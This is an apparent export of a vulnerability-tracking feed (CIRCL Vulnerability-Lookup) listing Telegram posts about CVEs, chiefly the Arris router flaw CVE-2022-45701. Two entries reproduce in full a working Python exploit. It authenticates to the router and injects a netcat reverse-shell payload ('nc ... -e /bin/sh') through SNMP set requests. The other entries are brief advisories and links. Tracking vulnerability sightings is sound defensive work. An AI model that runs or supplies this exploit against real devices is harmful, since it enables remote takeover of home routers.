https://vulnerability.circl.lu/sightings/feed 2026-09-04T01:45:41.640637+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/15e58127-718f-48ed-8ce5-951dced7d190/export 2026-09-04T01:45:41.670227+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "15e58127-718f-48ed-8ce5-951dced7d190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "seen", "source": "https://t.me/cissp/6615", "content": "exploit\n1. CVE-2022-45701:\nArris Router Firmware 9.1.103 - RCE\nhttps://packetstormsecurity.com/files/171001\n\n2. CVE-2022-37955:\nEoP via Arbitrary File Write/Overwite in Group Policy Client \"gpsvc\"\nhttps://decoder.cloud/2023/02/16/eop-via-arbitrary-file-write-overwite-in-group-policy-client-gpsvc-cve-2022-37955\n\n3. CVE-2022-44666:\nMS Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability\nhttps://github.com/j00sean/CVE-2022-44666\n\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.11.28", "creation_timestamp": "2026-09-02T01:04:03.144162Z"} 2026-09-02T01:04:03.144162+00:00 https://vulnerability.circl.lu/sighting/df8022bf-a68c-4824-a6a6-13134c4987ef/export 2026-09-04T01:45:41.672747+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "df8022bf-a68c-4824-a6a6-13134c4987ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "seen", "source": "https://t.me/hacking_Attack/90536", "content": "Exploit Collector\nArris Router Firmware 9.1.103 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png \nArris Router Firmware version 9.1.103 authenticated remote code execution exploit that has been tested against the TG2482A, TG2492, and SBG10 models.\n\nSHA-256 | c888a848e11678625335a5e6746925d5f7f030e21217d0ca2ec6555b03d7a881\n\nDownload\nc# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)\n# Date: 17/11/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://www.commscope.com/\n# Version: 9.1.103\n# Tested on: TG2482A, TG2492, SBG10\n# CVE : CVE-2022-45701\n\nimport requests\nimport base64\n\nrouter_host = \"http://192.168.0.1\"\nusername = \"admin\"\npassword = \"password\"\n\nlhost = \"192.168.0.6\"\nlport = 80\ndef main():\nprint(\"Authorizing...\")\ncookie = get_cookie(gen_header(username, password))\nif cookie == '':\nprint(\"Failed to authorize\")\nexit(-1)\nprint(\"Generating Payload...\")\npayload = gen_payload(lhost, lport)\nprint(\"Sending Payload...\")\nsend_payload(payload, cookie)\nprint(\"Done, check shell..\")\n\ndef gen_header(u, p):\nreturn base64.b64encode(f\"{u}:{p}\".encode(\"ascii\")).decode(\"ascii\")\n\ndef no_encode_params(params):\nreturn \"&\".join(\"%s=%s\" % (k,v) for k,v in params.items())\n\ndef get_cookie(header):\nurl = router_host+\"/login\"\nparams = no_encode_params({\"arg\":header, \"_n\":1})\nresp=requests.get(url, params=params)\nreturn resp.content.decode('UTF-8')\n\ndef set_oid(oid, cookie):\nurl = router_host+\"/snmpSet\"\nparams = no_encode_params({\"oid\":oid, \"_n\":1})\ncookies = {\"credential\":cookie}\nrequests.get(url, params=params, cookies=cookies)\n\ndef gen_payload(h, p):\nreturn f\"$\\(nc%20{h}%20{p}%20-e%20/bin/sh)\"\n\ndef send_payload(payload, cookie):\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;\", cookie)\nset_oid(f\"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;\", cookie)\nif __name__ == '__main__':\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:25.579831Z"} 2026-09-02T01:01:25.579831+00:00 https://vulnerability.circl.lu/sighting/6bf5afe2-0dbc-4979-bd98-2b9c4e8f382e/export 2026-09-04T01:45:41.672869+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "6bf5afe2-0dbc-4979-bd98-2b9c4e8f382e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "seen", "source": "https://t.me/hacking_Attack/90536", "content": "Exploit Collector\nArris Router Firmware 9.1.103 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png \nArris Router Firmware version 9.1.103 authenticated remote code execution exploit that has been tested against the TG2482A, TG2492, and SBG10 models.\n\nSHA-256 | c888a848e11678625335a5e6746925d5f7f030e21217d0ca2ec6555b03d7a881\n\nDownload\nc# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)\n# Date: 17/11/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://www.commscope.com/\n# Version: 9.1.103\n# Tested on: TG2482A, TG2492, SBG10\n# CVE : CVE-2022-45701\n\nimport requests\nimport base64\n\nrouter_host = \"http://192.168.0.1\"\nusername = \"admin\"\npassword = \"password\"\n\nlhost = \"192.168.0.6\"\nlport = 80\ndef main():\nprint(\"Authorizing...\")\ncookie = get_cookie(gen_header(username, password))\nif cookie == '':\nprint(\"Failed to authorize\")\nexit(-1)\nprint(\"Generating Payload...\")\npayload = gen_payload(lhost, lport)\nprint(\"Sending Payload...\")\nsend_payload(payload, cookie)\nprint(\"Done, check shell..\")\n\ndef gen_header(u, p):\nreturn base64.b64encode(f\"{u}:{p}\".encode(\"ascii\")).decode(\"ascii\")\n\ndef no_encode_params(params):\nreturn \"&\".join(\"%s=%s\" % (k,v) for k,v in params.items())\n\ndef get_cookie(header):\nurl = router_host+\"/login\"\nparams = no_encode_params({\"arg\":header, \"_n\":1})\nresp=requests.get(url, params=params)\nreturn resp.content.decode('UTF-8')\n\ndef set_oid(oid, cookie):\nurl = router_host+\"/snmpSet\"\nparams = no_encode_params({\"oid\":oid, \"_n\":1})\ncookies = {\"credential\":cookie}\nrequests.get(url, params=params, cookies=cookies)\n\ndef gen_payload(h, p):\nreturn f\"$\\(nc%20{h}%20{p}%20-e%20/bin/sh)\"\n\ndef send_payload(payload, cookie):\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;\", cookie)\nset_oid(f\"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;\", cookie)\nif __name__ == '__main__':\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:04.928149Z"} 2026-09-01T20:01:04.928149+00:00 https://vulnerability.circl.lu/sighting/b7d73777-d6fc-4832-bd9f-658210d062f6/export 2026-09-04T01:45:41.672965+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "b7d73777-d6fc-4832-bd9f-658210d062f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "seen", "source": "https://t.me/cissp/6615", "content": "exploit\n1. CVE-2022-45701:\nArris Router Firmware 9.1.103 - RCE\nhttps://packetstormsecurity.com/files/171001\n\n2. CVE-2022-37955:\nEoP via Arbitrary File Write/Overwite in Group Policy Client \"gpsvc\"\nhttps://decoder.cloud/2023/02/16/eop-via-arbitrary-file-write-overwite-in-group-policy-client-gpsvc-cve-2022-37955\n\n3. CVE-2022-44666:\nMS Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability\nhttps://github.com/j00sean/CVE-2022-44666\n\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.11.28", "creation_timestamp": "2026-09-01T17:00:22.242101Z"} 2026-09-01T17:00:22.242101+00:00 https://vulnerability.circl.lu/sighting/4cf91b10-13d1-41bc-9a4c-7594c0407676/export 2026-09-04T01:45:41.673042+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "4cf91b10-13d1-41bc-9a4c-7594c0407676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45703", "type": "seen", "source": "https://t.me/cibsecurity/68978", "content": "\u203c CVE-2022-45703 \u203c\n\nHeap buffer overflow vulnerability in binutils readelf before 2.40 via function display_debug_section in file readelf.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-22T22:21:55.000000Z"} 2023-08-22T22:21:55+00:00 https://vulnerability.circl.lu/sighting/fe2e73c0-d18a-44d2-8ef5-690c18155e9f/export 2026-09-04T01:45:41.673113+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "fe2e73c0-d18a-44d2-8ef5-690c18155e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7772", "content": "#exploit\n1. CVE-2022-45701:\nArris Router Firmware 9.1.103 - RCE\nhttps://packetstormsecurity.com/files/171001\n\n2. CVE-2022-44666:\nMS Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability\nhttps://github.com/j00sean/CVE-2022-44666", "creation_timestamp": "2023-04-29T12:52:57.000000Z"} 2023-04-29T12:52:57+00:00 https://vulnerability.circl.lu/sighting/562b930c-28bc-462c-bdbf-5d749cec6a4f/export 2026-09-04T01:45:41.673182+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "562b930c-28bc-462c-bdbf-5d749cec6a4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "published-proof-of-concept", "source": "Telegram/e4b8xasECNPaTnr4JYTMaXGSrfygZGtChMYE0rnSQ6-ZfqI", "content": "", "creation_timestamp": "2023-02-19T21:50:11.000000Z"} 2023-02-19T21:50:11+00:00 https://vulnerability.circl.lu/sighting/da2987e7-95fd-4d4d-8238-f7fecee8ef51/export 2026-09-04T01:45:41.673250+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "da2987e7-95fd-4d4d-8238-f7fecee8ef51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "seen", "source": "https://t.me/cibsecurity/58438", "content": "\u203c CVE-2022-45701 \u203c\n\nArris TG2482A firmware through 9.1.103GEM9 allow Remote Code Execution (RCE) via the ping utility feature.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-17T18:13:13.000000Z"} 2023-02-17T18:13:13+00:00